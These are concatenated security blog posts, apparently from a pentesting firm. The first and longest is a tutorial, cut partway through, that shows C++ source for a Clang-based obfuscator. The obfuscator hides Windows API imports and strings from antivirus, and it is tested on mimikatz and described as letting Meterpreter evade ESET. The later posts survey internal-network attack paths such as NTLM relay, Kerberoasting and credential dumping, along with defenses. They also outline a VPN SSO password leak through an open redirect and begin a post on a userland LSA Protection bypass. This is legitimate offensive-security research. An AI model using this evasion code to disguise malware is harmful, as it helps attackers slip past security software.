ASTMatcher is just what we need in order to enumerate every function call to a given function. First, it is important to get the syntax right for this matcher, since it is a bit more complicated that the one used in the previous blog post. To get it right, I relied on clang-query, which is an invaluable interactive tool that allows to run custom queries on source code. Interestingly, it is also based on libTooling and is much more powerful than what is showcased in this blog post (see [2]).

clang-query> match callExpr(callee(functionDecl(hasName("MessageBoxA"))))

Match #1:

/Users/vladimir/dev/scrt/avcleaner/test/messagebox_simple.c:6:5: note: "root" binds here
    MessageBoxA(NULL, "Test", "Something", MB_OK);
1 match.

Trial-and-error and tab completion suffice to converge quickly to a working solution. Now that the matcher is proven to work well, we can create a new ASTConsumer just like we did in the previous blog post. Basically, its job is to reproduce what we did with clang-query, but in C++:

class ApiCallConsumer : public clang::ASTConsumer {

    ApiCallConsumer(std::string ApiName, std::string TypeDef, std::string Library)
            : _ApiName(std::move(ApiName)), _TypeDef(std::move(TypeDef)), _Library(std::move(Library)) {}

    void HandleTranslationUnit(clang::ASTContext &Context) override {
        using namespace clang::ast_matchers;
        using namespace AVObfuscator;

        llvm::outs() << "[ApiCallObfuscation] Registering ASTMatcher for " << _ApiName << "\n";
        MatchFinder Finder;
        ApiMatchHandler Handler(&ASTRewriter, _ApiName, _TypeDef, _Library);

        const auto Matcher = callExpr(callee(functionDecl(hasName(_ApiName)))).bind("callExpr");

        Finder.addMatcher(Matcher, &Handler);

    std::string _ApiName;
    std::string _TypeDef;
    std::string _Library;

An implementation detail that we found important was to offer the possibility to match many different functions, and since the end game is to insert LoadLibrary / GetProcAddress for each replaced API function, we need to be able to supply the DLL name along the function prototype.

Doing so allows to elegantly register as many ASTConsumers as there are API to replace. Instantiation of this ASTConsumer must be done in the ASTFrontendAction:

Minor modifications of main.cpp.

This is the only modification required on the existing code that we did in the previous blog post. From there, everything else can be realised as a bunch of code that we will add, starting with the creation of ApiMatchHandler.cpp.
The matcher must be provided with a callback function, so let us give it one:

void ApiMatchHandler::run(const MatchResult &Result) {

    llvm::outs() << "Found " << _ApiName << "\n";

    const auto *CallExpression = Result.Nodes.getNodeAs<clang::CallExpr>("callExpr");
    handleCallExpr(CallExpression, Result.Context);

The task broken down as a list of steps in the beginning of the section can be transposed in code, for instance with the following methods:

bool handleCallExpr(const clang::CallExpr *CallExpression, clang::ASTContext *const pContext);

bool replaceIdentifier(const clang::CallExpr *CallExpression, const std::string &ApiName,
                        const std::string &NewIdentifier);
addGetProcAddress(const clang::CallExpr *pCallExpression, clang::ASTContext *const pContext,
                    const std::string &NewIdentifier, std::string &ApiName);

clang::SourceRange findInjectionSpot(clang::ASTContext *const Context, clang::ast_type_traits::DynTypedNode Parent,
                                        const clang::CallExpr &Literal, uint64_t Iterations);

Replace function calls

This is the most trivial part. The goal is to replace “MessageBoxA” in the AST with a random identifier. Initialisation of this random variable is done in the subsequent section.

bool ApiMatchHandler::handleCallExpr(const CallExpr *CallExpression, clang::ASTContext *const pContext) {

    // generate a random variable name
    std::string Replacement = Utils::translateStringToIdentifier(_ApiName);

    // inject Run-time dynamic linking
    if (!addGetProcAddress(CallExpression, pContext, Replacement, _ApiName))
        return false;

    // MessageBoxA -> random identifier generated above
    return replaceIdentifier(CallExpression, _ApiName, Replacement);

The ReplaceText Clang AP is used to rename the function identifier:

bool ApiMatchHandler::replaceIdentifier(const CallExpr *CallExpression, const std::string &ApiName,
                                        const std::string &NewIdentifier) {
    return this->ASTRewriter->ReplaceText(CallExpression->getBeginLoc(), ApiName.length(), NewIdentifier);

Insert LoadLibrary / GetProcAddress

Injecting Run-time dynamic linking for the API that we would like to add is a multi-step process:

  • Insert the API prototype, either at the top of the translation unit or in the enclosing function. To keep it simple, we opt for the latter, but we need to ensure that it was not already added in case the API is called several times in the same function, which would happen if there are subsequent calls to the same API.
  • Insert the line HANDLE <random identifier> LoadLibrary(<library name>);
  • Insert the call to GetProcAddress.

Of course, to avoid inserting obvious string literals while doing this, each string must be written as a stack string instead. This makes the code a bit tedious to read but nothing too complex:

bool ApiMatchHandler::addGetProcAddress(const clang::CallExpr *pCallExpression, clang::ASTContext *const pContext,
                                        const std::string &NewIdentifier, std::string &ApiName) {

    SourceRange EnclosingFunctionRange = findInjectionSpot(pContext, clang::ast_type_traits::DynTypedNode(),
                                                           *pCallExpression, 0);

    std::stringstream Result;

    // add function prototype if not already added
    if(std::find(TypedefAdded.begin(), TypedefAdded.end(), pCallExpression->getDirectCallee()) == TypedefAdded.end()) {

        Result << "\t" << _TypeDef << "\n";

    // add LoadLibrary with obfuscated strings
    std::string LoadLibraryVariable = Utils::translateStringToIdentifier(_Library);
    std::string LoadLibraryString = Utils::generateVariableDeclaration(LoadLibraryVariable, _Library);
    std::string LoadLibraryHandleIdentifier = Utils::translateStringToIdentifier("hHandle_"+_Library);
    Result << "\t" << LoadLibraryString << std::endl;
    Result << "\tHANDLE " << LoadLibraryHandleIdentifier << " = LoadLibrary(" << LoadLibraryVariable << ");\n";

    // add GetProcAddress with obfuscated string: TypeDef NewIdentifier = (TypeDef) GetProcAddress(handleIdentifier, ApiName)
    std::string ApiNameIdentifier = Utils::translateStringToIdentifier(ApiName);
    std::string ApiNameDecl = Utils::generateVariableDeclaration(ApiNameIdentifier, ApiName);
    Result << "\t" << ApiNameDecl << "\n";
    Result << "\t_ "<< ApiName << " " << NewIdentifier << " = (_" << ApiName << ") GetProcAddress("
           << LoadLibraryHandleIdentifier << ", " << ApiNameIdentifier << ");\n";


    // add everything at the beginning of the function.
    return !(ASTRewriter->InsertText(EnclosingFunctionRange.getBegin(), Result.str()));


git clone
mkdir avcleaner/CMakeBuild && cd avcleaner/CMakeBuild
cmake ..
cd ..

To test that everything works as expected, the following test file is used:

#include <Windows.h>

int main(int argc, char** argv) {

    MessageBoxA(NULL, "Test", "Something", MB_OK);
    MessageBoxA(NULL, "Another test", "Another something", MB_OK);
    return 0;

Run the obfuscator:

./CMakeBuild/avcleaner.bin test/messagebox_simple.c --strings=true --api=true -- -D _WIN64 -D _UNICODE -D UNICODE -D _WINSOCK_DEPRECATED_NO_WARNINGS\
 -I /usr/local/Cellar/llvm/9.0.1\
 -I /Users/vladimir/dev/scrt/avcleaner/Include/msvc-14.15.26726-include\
 -I /Users/vladimir/dev/scrt/avcleaner/Include/10.0.17134.0/ucrt\
 -I /Users/vladimir/dev/scrt/avcleaner/Include/10.0.17134.0/shared\
 -I /Users/vladimir/dev/scrt/avcleaner/Include/10.0.17134.0/um\
 -I /Users/vladimir/dev/scrt/avcleaner/Include/10.0.17134.0/winrt -w -fdebug-compilation-dir -fno-use-cxa-atexit -fms-extensions -fms-compatibility -fms-compatibility-version=19.15.26726 -std=c++14 -fdelayed-template-parsing -fobjc-runtime=gcc -fcxx-exceptions -fexceptions -fdiagnostics-show-option -fcolor-diagnostics -x c++ -ferror-limit=1900 -target x86_64-pc-windows-msvc19.15.26726 -fsyntax-only -disable-free -disable-llvm-verifier -discard-value-names -dwarf-column-info -debugger-tuning=gdb -momit-leaf-frame-pointer -v

Inspect the result:

#include <Windows.h>

int main(int argc, char** argv) {
	const char  hid_Someth_lNGj92poubUG[] = {'\x53','\x6f','\x6d','\x65','\x74','\x68','\x69','\x6e','\x67',0};

	const char  hid_Anothe_UP7KUo4Sa8LC[] = {'\x41','\x6e','\x6f','\x74','\x68','\x65','\x72','\x20','\x74','\x65','\x73','\x74',0};

	const char  hid_Anothe_ACsNhmIcS1tA[] = {'\x41','\x6e','\x6f','\x74','\x68','\x65','\x72','\x20','\x73','\x6f','\x6d','\x65','\x74','\x68','\x69','\x6e','\x67',0};
	typedef int (*_MessageBoxA)(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType);
	TCHAR hid_User___Bhk5rL2239Kc[] = {'\x55','\x73','\x65','\x72','\x33','\x32','\x2e','\x64','\x6c','\x6c',0};

	HANDLE hid_hHandl_PFP2JD4HjR8w = LoadLibrary(hid_User___Bhk5rL2239Kc);
	TCHAR hid_Messag_drqxgJLSrxfT[] = {'\x4d','\x65','\x73','\x73','\x61','\x67','\x65','\x42','\x6f','\x78','\x41',0};

	_MessageBoxA hid_Messag_1W70P1kc8OJv = (_MessageBoxA) GetProcAddress(hid_hHandl_PFP2JD4HjR8w, hid_Messag_drqxgJLSrxfT);
	TCHAR hid_User___EMmJBb201EuJ[] = {'\x55','\x73','\x65','\x72','\x33','\x32','\x2e','\x64','\x6c','\x6c',0};

	HANDLE hid_hHandl_vU1riOrVWM8g = LoadLibrary(hid_User___EMmJBb201EuJ);
	TCHAR hid_Messag_GoaJMFscXsdw[] = {'\x4d','\x65','\x73','\x73','\x61','\x67','\x65','\x42','\x6f','\x78','\x41',0};

	_MessageBoxA hid_Messag_6nzSLR0dttUn = (_MessageBoxA) GetProcAddress(hid_hHandl_vU1riOrVWM8g, hid_Messag_GoaJMFscXsdw);
hid_Messag_1W70P1kc8OJv(NULL, "Test", hid_Someth_lNGj92poubUG, MB_OK);
    hid_Messag_6nzSLR0dttUn(NULL, hid_Anothe_UP7KUo4Sa8LC, hid_Anothe_ACsNhmIcS1tA, MB_OK);
    return 0;

As you can see, the combination of both the string obfuscation and API obfuscation passes are quite powerful. The string “Test” was left out because we decided to ignore small strings. Then, the obfuscated source code can be built:

$ cp test/messagebox_simple.c.patch /tmp/test.c
$ x86_64-w64-mingw32-gcc /tmp/test.c -o /tmp/toto.exe

Testing on a Windows 10 virtual machine showed that the original features were kept functional. More importantly, there are no “MessageBox” strings in the obfuscated binary:

$ rabin2 -zz /tmp/toto.exe | grep MessageBox | wc -l


With regard to the antivirus ESET Nod32, we discovered that it was important to hide API imports related to samlib.dll, especially the APIs in the list below:

  • SamConnect
  • SamConnectWithCreds
  • SamEnumerateDomainsInSamServer
  • SamLookupDomainInSamServer
  • SamOpenDomain
  • SamOpenUser
  • SamOpenGroup
  • SamOpenAlias
  • SamQueryInformationUser
  • SamSetInformationUser
  • SamiChangePasswordUser
  • SamGetGroupsForUser
  • SamGetAliasMembership
  • SamGetMembersInGroup
  • SamGetMembersInAlias
  • SamEnumerateUsersInDomain
  • SamEnumerateGroupsInDomain
  • SamEnumerateAliasesInDomain
  • SamLookupNamesInDomain
  • SamLookupIdsInDomain
  • SamRidToSid
  • SamCloseHandle
  • SamFreeMemory

These functions are not black-listed anywhere in the AV engine as far as we could tell, but they do somehow increase the internal detection confidence score. So, we must register an ApiCallConsumer for each of these functions, which means that we need their names and their function prototypes:

static std::map<std::string, std::string> ApiToHide_samlib = {
    {"SamConnect",                     "typedef NTSTATUS (__stdcall* _SamEnumerateDomainsInSamServer)(SAMPR_HANDLE ServerHandle, DWORD * EnumerationContext, PSAMPR_RID_ENUMERATION* Buffer, DWORD PreferedMaximumLength,DWORD * CountReturned);"},
    {"SamConnectWithCreds",            "typedef NTSTATUS(__stdcall* _SamConnect)(PUNICODE_STRING ServerName, SAMPR_HANDLE * ServerHandle, ACCESS_MASK DesiredAccess, BOOLEAN Trusted);"},
    {"SamEnumerateDomainsInSamServer", "typedef NTSTATUS(__stdcall* _SamConnectWithCreds)(PUNICODE_STRING ServerName, SAMPR_HANDLE * ServerHandle, ACCESS_MASK DesiredAccess, LSA_OBJECT_ATTRIBUTES * ObjectAttributes, RPC_AUTH_IDENTITY_HANDLE AuthIdentity, PWSTR ServerPrincName, ULONG * unk0);"},

And then, we update main.cpp to iterate over this collection and handle each one:

for(auto const& el: ApiToHide_samlib){

    auto Cons = std::make_unique<ApiCallConsumer*>(new ApiCallConsumer(el.first, el.second,

Here, std::make_unique is invaluable because it allows us to instantiate objects on the heap in this loop, while sparing us the effort to manually free those objects later on. They will be freed automatically when they are no longer used.

Finally, we can battle test the obfuscator against mimikatz, especially kuhl_m_lsadump.c:

bash test/kuhl_m_lsadump.c

This produce an interesting result:

Run-time dynamic linking for API imported from samlib.dll

Actual function calls are correctly replaced:

Function calls imported from samlib.dll are correctly replaced.

The strings inside the macro “PRINT_ERROR” were left out because we noped out this macro with a do{}while(0). As a side note, we did not find a better project to find bugs in the obfuscator than mimikatz. The code style is indeed quite exotic 🙂 .


Here are some exercices left to the reader 🙂

More stealth

You don’t actually need the API LoadLibrary / GetProcAddress to perform run-time dynamic linking.

It is best to reimplement these functions to avoid hooks, and there already are open-source projects that allow you to do that (ReflectiveDLLInjection).

If you managed to read this far, you know that you only have to inject an implementation for these functions at the top of the translation unit (with findInjectionSpot) and update the method addGetProcAddress to use your implementation instead of the WinAPI.

Error handling

  • LoadLibrary returns NULL in case it was not successful, so it is possible to add a check for this and gracefully recover from this error. In the current situation, the application may very well crash.
  • GetProcAddress also returns NULL in case of errors and it is important to check for this as well.


In this blog post, we showed how it is possible to accurately replace function calls in C/C++ code-bases without using regexes. All of that was realised to prevent antivirus software to statically collect behaviour information about Meterpreter or other software that we use during our pentesting engagements.

Applied to ESET Nod32, this was a key step to allow every Meterpreter modules to go through its net undetected, and was definitely helpful for the more advanced products.

Hiding API imports is one thing, but once the malware executes, there are ways for a security software to gather behavioural information by monitoring API calls.

In view of that, the next blog post will be about automated refactoring of suspicious Win32 APIs to direct syscalls. This is another key step to circumvent run-time detection realised with userland hooks for AV such as Cylance, Traps and Kaspersky.


[1] The Rootkit Arsenal, Chapter 11, p.480.

Vladimir Meier

Continuous Pentesting

26 August 2020 at 08:39

At SCRT, we have been performing penetration tests for nearly 20 years now and have always tried to improve our methodologies to match client expectations and deliver the most accurate and useful results from each test we undertake.

Over the last few years, Bug bounty programs have been making a name for themselves as they bring a new approach to assessing the security level of a company, application or system. They allow for a more continuous, albeit less controlled, testing of a targeted scope.

Some people will probably argue that bug bounties and pentests are antagonistic, while I believe that they are two very complementary approaches for achieving a better overall security level. Mature companies tend to move towards a system where penetration tests are performed to discover vulnerabilities and essentially verify the security level of an application or system when it is deployed or updated, and a bug bounty program is then used to ensure a sort of continuous monitoring from a larger population of bug hunters.

There are advantages and drawbacks to both pentesting and bug bounties, which is why they can be used together to achieve better results. I’ve attempted to compare both options in a rather simplified manner, while trying to emphasize where each option outperforms the other.

Obviously some people will disagree with what is considered as an advantage and what isn’t but I have tried to remain as neutral as possible and typically, when it comes to costs, the fact they are essentially unknown and entirely dependent on the number of vulnerabilities and their classification in a bug bounty program will be seen as a clear advantage for some and an inconvenient for others, which is why I’ll let you decide where you stand on that issue.

The same goes for the duration. I would tend to believe that an unlimited test would be more interesting than a limited one, but it also means that the company must be able to react to potential incidents at any time and coordinate more closely with the SOC.

We have noticed that many companies are reluctant to setting up a bug bounty program. Having helped in organising and managing the Public Intrusion Test (PIT) for the Swiss e-voting system last year (which was essentially a temporary bug bounty program), we also understand why. The main issues we ran into can be summarised as such:

  • Poor quality and out of scope submissions
  • Difficult to know how many people (if any) will actually look at the system
  • Difficulty to establish a trust relationship with the participants as they are essentially anonymous
  • Difficulty to define the bounty amounts and control costs (although this wasn’t done by us in this case)

Now I know most Bug bounty platforms will attempt to help companies in managing these issues, but we felt there was a way SCRT could also help our clients bridge the gap between traditional pentesting and bug bounties. This is where our Continuous pentesting offer comes in.

The idea is to take the advantages of both the pentesting and bug bounty worlds while minimising the drawbacks. The main advantage of this system is that whatever elements are included in the scope are assured to be tested by a rotating pool of trusted SCRT engineers at various times throughout the year.

Regarding costs, we are sticking to a more traditional pentesting approach, where we will be using a per-day rather than per-vulnerability model so as to fully control the costs of the tests beforehand.

We cannot provide a 24/7 monitoring of all vulnerabilities within a specific scope, but by avoiding pre-planned dates, it gives us the flexibility to test when new vulnerabilities or types of attacks emerge so that we can verify whether or not your systems are affected in a more dynamic and proactive way.

If you’re interested in this approach, feel free to contact us to get additional details and see how we can best adapt our offer to your requirements.

State of Pentesting 2020

28 December 2020 at 08:04

To many people, pentesting (or hacking in a broader sense) is a dark art mastered by some and poorly understood by most. It has evolved quite substantially throughout the years, guided by new vulnerabilities, changing behaviours and maybe most importantly the development and release of new tools, be they offensive or defensive.

In this blog post, I wanted to present how pentests have evolved since I started my pentesting journey some 12 years ago. Note that none of this is backed by hard data, but on my own feelings after seeing a great number of tests performed throughout the years.

When it comes to the types of pentests we perform, we see that while standard internal or external tests are performed by companies who have never or rarely had any security testing done beforehand, seasoned companies tend to ask for more specific testing of applications, systems or processes.

Red or Purple teaming approaches are preferred in order to establish not only which vulnerabilities are present, but also determine whether the defensive efforts are properly prioritized and implemented.

A lot of testing has now also shifted to the Cloud, and although some aspects of these tests remain similar, there are a number of subtleties provided by each Cloud provider that need to be considered.

In this post, I’ll have a look at how internal pentests have evolved throughout the years.

Internal pentests

When I started pentesting, the MS08-067 (Conficker) vulnerability had just been published and for some (long) time afterwards, compromising a company was all about discovering which system hadn’t been patched, exploiting it with Metasploit, cracking the LM or NTLM hash of the local administrator and reusing it throughout the company to compromise all systems.

Even though we still occasionally discover systems vulnerable to MS08-067, the “entry point” into the network has changed throughout the years. For some time, JBoss and Tomcat servers were the holy grail of pentesters, as they tended to be installed with an administration interface which is often poorly protected (if protected at all) which allowed to deploy new applications and thus run arbitrary commands on the server.

A happy sight for a pentester

In most cases these commands were run with SYSTEM privileges allowing for a full compromise. This latter fact is an issue that we still routinely discover, where applications run with elevated privileges on a server for no particular reason apart from the fact that it’s easy to do! I’d recommend having a look at Group-Managed Service Accounts to attempt to avoid this.

Thankfully, the more recent versions of these application servers either do not install a management interface or simply do not provide any default credentials any more, which limits the ways in which they can be compromised, although unauthenticated JMX or Java RMI interfaces can often still be exploited with tools such as ysoserial.

Sometimes it feels like stealing candy from a child

A little more recently, MS17-010 became the new norm in order to compromise a workstation or server, and very much like MS08-067, it can often still be exploited nowadays, despite the patch being available for over 3 years. The only “difficulty” is to find that hidden server that hasn’t been patched in years but can’t be decommissioned because it’s “too sensitive”. This might come in as a surprise to some, but hackers rarely spend much time on the servers you just installed and hardened. Instead, they will search for the old ones which you’re trying to forget about!

We’re not going through the front door, but around it!

The “entry point” or first vulnerability has certainly changed multiple times throughout the years, but the concept of compromising the local administrator account and reusing it elsewhere stayed true for a long time. However, the fact of cracking the password was never really required, as pass-the-hash techniques could be abused instead. The concept of actually cracking a NTLM hash and recovering the clear-text password is mostly used to generate password statistics nowadays.

One of the more impactful developments has been the adoption of LAPS, or similar password management tools, which allow administrators to manage the local administrator passwords for all domain-joined computers. This completely prevents the previously discussed lateral movements and is probably the single biggest improvement we have seen over the years, although for it to really be efficient, all other local accounts must be removed!

Due to this, it is no longer interesting to recover the local accounts after compromising a server. Instead, tools such as Mimikatz are used to recover the clear-text credentials (or NTLM hash) of connected users directly from the machine’s memory. This allows for the compromise of domain users that have recently authenticated to the machine. Compromising a domain administrator account is therefore achieved by compromising any server (or workstation…) where such an account is logged on.

That’s a nice password, good thing we don’t need to crack it!

Even though Microsoft has recommended for years that these accounts be used as little as possible, it is still a relatively common practice to use domain administrator accounts for routine administration purposes or even for service accounts. It’s just so much simpler that way!

When it comes to discovering the machines used by domain administrators and how to compromise them, the development of tools such as BloodHound have shown that it is not always necessary to exploit an actual vulnerability to get there, but simply abuse a (mis)configuration of the Active Directory. Overly broad permissions on AD objects can rapidly be exploited by attackers to elevate privileges within a domain.

Let’s find a path to domain admin

Kerberoasting is another fun technique which is commonly used nowadays as it allows any domain user to essentially recover a non-replayable hash of accounts which have a Service Principal Name (usually service accounts). This is one of the cases where cracking a hash is actually necessary. Thankfully for attackers, service accounts are often ancient and set with a password which never expires. In many cases it is the name of the service followed by the year the service was installed. These passwords will take seconds to break and often grant extensive access to the information system.

Nevertheless, BloodHound and Kerberoasting attacks still require an initial domain account to be used. Nowadays, it is often much easier to compromise an account rather than compromising a workstation or server.

For some time, a simple domain account was sufficient to compromise high privileged credentials in GPPs as these were encrypted in a reversible format. Even though this has now been “patched” (essentially by removing the vulnerable feature) it is always worth grepping for cpassw in SYSVOL, just in case.

But how do we actually compromise this initial account?

Responder is a fantastic tool which allows to recover a non-replayable hash from computers that still use legacy protocols such as LLMNR and NBNS for name resolution. The hash can be recovered by forcing the vulnerable system to authenticate to the attacker’s one. At this stage, the hash could potentially be broken (probably because the password is Welcome2020) but it doesn’t actually need to be, since NTLM is vulnerable to relay attacks. Instead of recovering the account hash, an attacker can simply the authentication to another system with the help of tools such as ntlmrelayx from impacket.

Responder also has a Powershell counterpart named Inveigh

The impact of such attacks depends on the privileges of the compromised account. In the worst case scenario, a domain administrator account might be compromised in this fashion to directly execute arbitrary commands on the domain controller.

Internal pentests nowadays often revolve around this idea of forcing an account to authenticate to the attacker’s machine. This can be done by abusing LLMNR or NBNS, but it could also be done by simply inserting an image or iframe in unencrypted HTTP traffic, the end result would be similar. The authentication is then relayed to an appropriate system depending on the account privileges, and from there, privilege escalation is achieved through misconfigured Active Directory objects.

Pilfering the Active Directory for these misconfigurations has become somewhat of an art and there are several combination of issues which can potentially be abused to execute code on a targeted machine if the appropriate credentials are “available” on the network. This article from last year presents several ways of abusing Kerberos delegation for example. Other simpler ways exist, such as searching for clear-text passwords in object descriptions which by default are available to all.

The “printer bug” can also be used in many cases to force a machine account to authenticate to an attacker’s machine. If the machine happens to have admin privileges on another machine (this is easy to discover with BloodHound for example), this gives instant access to the second machine with high privileges.

The current “meta” for internal pentests is to run Responder alongside ntlmrelay to gain initial access, and then replay credentials compromised with Mimikatz and abuse AD misconfigurations to compromise a domain administrator account. Obviously this is a bit of an oversimplification as there are still other vulnerabilities that can be exploited, but it is often the path of least resistance.

And of course, while I’m writing this, the ZeroLogon vulnerability was published, ensuring pentesters a healthy couple years of directly compromising domain controllers without going through everything I just discussed!

So how can you defend against this?

The initial part of the attack process is based on the NTLM authentication protocol and its weakness against relay attacks. Obviously if you disable NTLM authentication altogether and exclusively use Kerberos, this particular problem is solved, but in practice, this is near impossible to do.

One possibility is to disable LLMNR and NBNS, but it won’t prevent malicious users from inserting images into unencrypted HTTP traffic or cases such as the printer big discussed above. Thankfully, there is another solution which is the fact of requiring SMB signing for both clients and servers. This effectively prevents the relaying attacks on the SMB protocol. Unfortunately, NTLM authentication can also be used in cross-protocol attacks, where an authentication to an HTTP server for example can be relayed to a SMB server or vive-versa. Other protections such as channel binding or proper use of TLS are required to mitigate these attacks. A nice article regaring NTLM relay and its mitigations can be found here.

The second part of the attacks relies on the ability to use mimikatz to compromise credentials and attack systems which are used simultaneously administered by lower privileged accounts and used by higher privileged accounts. The first recommendation i’d give here is to not rely on your anti-virus to block Mimikatz. There are so many different evasion techniques available, that one of them will always end up working. Instead, prefer the protection of LSASS with Credential Guard. I also highly recommend the use of the Protected Users group for any privileged account. Similarly, they should all be marked with the Account is sensitive and cannot be delegated property to avoid them being abused in Kerberos delegation attacks.

And finally the harder part is implementing a proper privileged account management hygiene. To avoid privilege escalation through a compromised system, it must be impossible for a more privileged account to be used on a system where a lesser account has administrative privileges. A tiered administration approach can be used, such as the one proposed by Microsoft here.

Microsoft’s administrative tiers

I’d recommend reading the whole article, but i’ll attempt to very briefly summarise the key points:

  • Setup a minimum of 3 administrative tiers/groups in the Active Directory. This would be for domain admins, server admins and workstation admins for example.
  • Implement the concept of Privileged Access Workstations (PAW) for these administrators. This is actually harder to implement than one might think, especially since most companies will not want to provide multiple workstations for administrators. One relatively straightforward way of doing this is using a hardened “base” laptop for administrative purposes and login to a VDI or virtual machine for all “user” tasks.
  • Restrict access and logon between administrative tiers with firewalls and group policies
  • Use Windows Firewall to allow access to the various tiers only from authorised PAWs for the associated tier.
  • Implement Multi-factor authentication for administrators
  • Put all admin accounts in the Protected Users group
  • Mark all admins as sensitive for delegation

If you feel like this is not enough, you could also go for an ESAE Administrative Forest (also sometimes called Red Forest).

One constant that I have seen throughout the years and companies where I have performed tests is the lack of proper internal network filtering. Even though it is getting rarer nowadays to find a completely “flat” network with all workstations and servers on the same subnet, there is rarely any firewalling performed between subnets and pretty much never any within a given subnet. This is a shame as proper filtering can prevent a great number of exploits by simply restricting access to the vulnerable services.

I’ve also regularly been asked the question “What solution can we buy to protect against this or prevent that?”. But in most cases, it is a lot better to properly setup and configure a system which is already in place (such as Windows and Active Directory for example) rather than acquire a new solution that will just increase the overall attack surface. Security products can include security vulnerabilities, as has been demonstrated numerous times.

EDR solutions or “next-generation” anti-viruses are all the rage right now, promising to detect malicious payloads and behaviours. Even though they definitely provide an additional hurdle for intruders, a skilled attacker will probably always be able to circumvent the solution, with techniques such as the ones discussed by my colleague @plowsec here and here. Again, relying on a specific security solution rather than applying defense in depth techniques is not the way to go.

What’s next?

Supposing all companies apply the protections discussed above such that NTLM relaying is no longer possible, credentials are protected in memory and domain admin accounts cannot be compromised any more. How will pentests evolve? I’m pretty sure this will depend on new quality tools being developed and released, as the ones discussed in this post have shaped the way pentests are performed now.

One thing that is important to note is that domain administrator accounts are not actually all that useful in a targeted attack. During pentests they are always seen as the main objective because they essentially grant access to everything in an organisation, but a real attacker does not need access to everything. If appropriately targeted, a single non-administrator account can be sufficient to gain access to a specific piece of information. Figuring out which account has that specific access and where it might be compromised will be all the more important.

If we imagine that credentials cannot be compromised in-memory any more, I believe attackers will resort to older techniques such as key logging or even just phishing to get a victim’s credentials. This however assumes that passwords will remain as the main authentication factor. Hopefully this won’t be the case, but currently it looks like there is still some time ahead of us before they are replaced by something better.

As to how access to a workstation or server is gained in the first place, I’m confident new techniques and vulnerabilities will arise, be they within Windows or other third party solutions that are used by all and updated much less frequently. Backup or automation solutions seem like strong contenders. However, if companies decide to apply appropriate firewaling rules, these vulnerabilities may never actually be exploited, and attackers may have to rely only on compromised accounts to achieve their purposes, meaning that appropriately managing privileges will remain extremely important.

I’m obviously not a psychic and have no idea what will really happen, but if any of the information in this post can help someone better prepare against current (or future?) attack techniques, it will have served some purpose!

Stealing user passwords through a VPN’s SSO

25 February 2021 at 15:57

Last year I got this idea that I should attempt to pay for my holidays to Japan by hunting for bounties in security appliances while in the plane. A full 10 hours of uninterrupted focus on one solution seemed like it should yield interesting results. So I started reverse engineering the Firewall of a relatively common brand which has a private bug bounty. Due to this reason, I won’t be giving out the full details of the issue I discovered, but I find the vulnerability to be quite interesting and worth discussing. So I attempt to do this here without breaching any disclosure terms…

This happened relatively shortly after I had discovered some issues in Sonicwall appliances (there may well be more of them discussed here in the short future), so I was still investigating SSL VPNs and searching for ways to compromise them.

One of the features that most SSL VPNs offer is the ability to provide single sign-on for internal applications once a user is authenticated to the VPN device. Unless a fancier protocol like OAuth2 or SAML is used, a VPN admin might be required to specify a URL that allows the user to “seamlessly” authenticate to the back-end server. This might look like the following:


When the user attempts to access the back-end application, a templating engine will automatically replace the username and password with the user’s data and thus authenticate successfully with the back-end server.

In other cases, the back-end server might accept Basic, Digest, NTLM or other types of authentication, which could also be configured by a VPN admin.

The first vulnerability I discovered was a pretty straightforward stack-based buffer overflow in the way the SSL VPN parsed the Negotiate authentication header. However, it was only exploitable from a back-end server. Worst case scenario, a server administrator (or any person who could tamper with internal communications) could potentially compromise the SSL VPN device. I wasn’t particularly enthusiastic about this finding as in practice, I didn’t really see many cases where I’d be able to exploit it. But I did continue researching how the device parsed these authentication headers in order to achieve single sign-on.

It turns out that the device did a pretty simple pattern match and replace on the {{username}} and {{password}} strings that were detected in the HTTP request. Where it got interesting, is when I noticed that these patterns were also replaced in the headers of the server’s Response for some reason. Not quite sure whether there is a legitimate reason to do so, or if this is an oversight, but I was wondering whether there was a way to exploit this in order to recover a user’s password.

Essentially, as an attacker we would need to find a way to get a specific pattern in the headers of the HTTP response from an application which is accessed through the VPN (even if no SSO is configured for it by the way). Unfortunately, I couldn’t find a generic way of doing so, but it is possible if one of the back-end applications is vulnerable to an insecure redirect.

When exploiting such a vulnerability, an attacker has to convince a user to click on a malicious link which will redirect the user to another location. Unless it is done in JavaScript, the redirection is generally done with a Location HTTP header containing the new location to visit.

This is very convenient in our case, as it allows us to recover the user’s VPN password as long as we can achieve the two following things:

  • Know the location of an insecure redirect on any application accessed through the VPN
  • Convince an authenticated user to visit a maliciously prepared URL

For instance, if I can get a user to click on the following link:


The user will end up visiting SCRT’s website while providing his or her username and password in the URL, since the browser will see the following response from the application.

HTTP/1.1 302 Found

Obviously this is not the most serious vulnerability to be discovered but I thought it was quite different from what I usually see and worth presenting quickly. There might be other devices out there vulnerable to similar flaws or templating issues.

Unfortunately, it’s only after I did the research and reported the various issues that I noticed that the bug bounty program was no longer issuing any rewards, so I wasn’t even close to paying for my trip.

Bypassing LSA Protection in Userland

By: itm4n
22 April 2021 at 12:30

In 2018, James Forshaw published an article in which he briefly mentioned a trick that could be used to inject arbitrary code into a PPL as an administrator. However, I feel like this post did not get the attention it deserved as it literally described a potential Userland exploit for bypassing PPL (which includes LSA Protection).


I was doing some research on Protected Processes when I stumbled upon the following blog post: Windows Exploitation Tricks: Exploiting Arbitrary Object Directory Creation for Local Elevation of Privilege. This post was written by James Forshaw on Project Zero’s blog in August 2018. As the title implies, the objective was to discuss a particular privilege escalation trick, not a PPL bypass. However, the following sentence immediately caught my eye:

Abusing the DefineDosDevice API actually has a second use, it’s an Administrator to Protected Process Light (PPL) bypass.

As far as I know, all the public tools for bypassing PPL that have been released so far involve the use of a driver in order to execute arbitrary code in the Kernel (with the exception of pypykatz as I mentioned in my previous post). In his blog post though, James Forshaw casually gave us a Userland bypass trick on a plate, and it seems it went quite unnoticed by the pentesting community.

The objective of this post is to discuss this technique in more details. I will first recap some key concepts behind PPL processes, and I will also explain one of the major differences between a PP (Protected Process) and a PPL (Protected Process Light). Then, we will see how this slight difference can be exploited as an administrator. Finally, I will introduce the tool I developed to leverage this vulnerability and dump the memory of any PPL without using any Kernel code.


I already laid down all the core principles behind PP(L)s on my personal blog here: Do You Really Know About LSA Protection (RunAsPPL)?. So, I would suggest reading this post first but here is a TL;DR.

PP(L) Concepts – TL;DR

